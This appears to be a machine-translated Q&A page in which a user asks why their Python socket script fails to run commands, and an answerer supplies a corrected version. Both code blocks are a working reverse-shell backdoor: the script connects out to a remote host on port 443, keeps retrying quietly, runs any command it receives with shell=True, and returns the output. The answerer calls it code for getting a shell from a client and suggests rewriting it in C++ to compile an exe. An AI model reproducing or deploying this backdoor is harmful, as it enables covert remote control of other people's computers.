如何在 Python 和子进程中使用套接字?

How to use sockets in Python and subprocess?

/*

嘿,这个脚本纯粹是为了好玩,没有任何违法行为,而且很容易停止和检测。进一步说,如果我要将它用于非法活动,我为什么要 post 它在这里?

*/

我的问题是我无法从客户端执行cmd 命令。我不确定为什么,尽管我暗示它与某种套接字错误有关。当我尝试执行命令时,无论我等待多长时间,它都什么都不做。客户端没有问题,因为我已经使用下面的代码的更简单版本对其进行了测试。

import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('IP here')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
def start():
    conntrue = None
    while conntrue is None:
        try:
            conntrue = s.connect((host, port))
            s.send("[+] We are connected to %s") % (username)
            while True:
                try:
                    exec_code = s.recv(1024)
                    if exec_code == "quit":
                        break
                    elif exec_code == "Hey":
                        try:
                            proc = subprocess.Popen("MsgBox " + username + " Hey", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                            stdout_value = proc.stdout.read() + proc.stderr.read()
                            s.send(stdout_value)
                        except:
                            s.send("[+] was wrong, just exec it manually")
                    else:
                        proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                        stdout_value = proc.stdout.read() + proc.stderr.read()
                        s.send(stdout_value)
                except:
                    s.close()
        except:
            conntrue = None
            pass
    s.close()
start()

给你,这是从你的客户那里得到 shell 的工作代码。我怀疑您是否能够使用此任何非法内容,python 不适用于后门程序。对于这种代码,您应该考虑使用 C++,因为它不仅速度快,而且可以编译成 exe。而 python 需要 python 解释器,因此不能在 windows 上 运行(除非你得到 py2exe)。

import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = None
while connection is None:
    try:
        connection = s.connect((host, port))
        s.send("[+] We are connected to %s" % username)
        while True:
            try:
                exec_code = s.recv(1024)
                if exec_code == "quit":
                    break
                else:
                    proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    stdout_value = proc.stdout.read() + proc.stderr.read()
                    s.send(stdout_value)
            except Exception, err:
                print err
    except Exception, e:
        print e
s.close()

尽量不要单独使用 except 使用 except Exception,variable 查找代码中的错误然后替换为裸 except。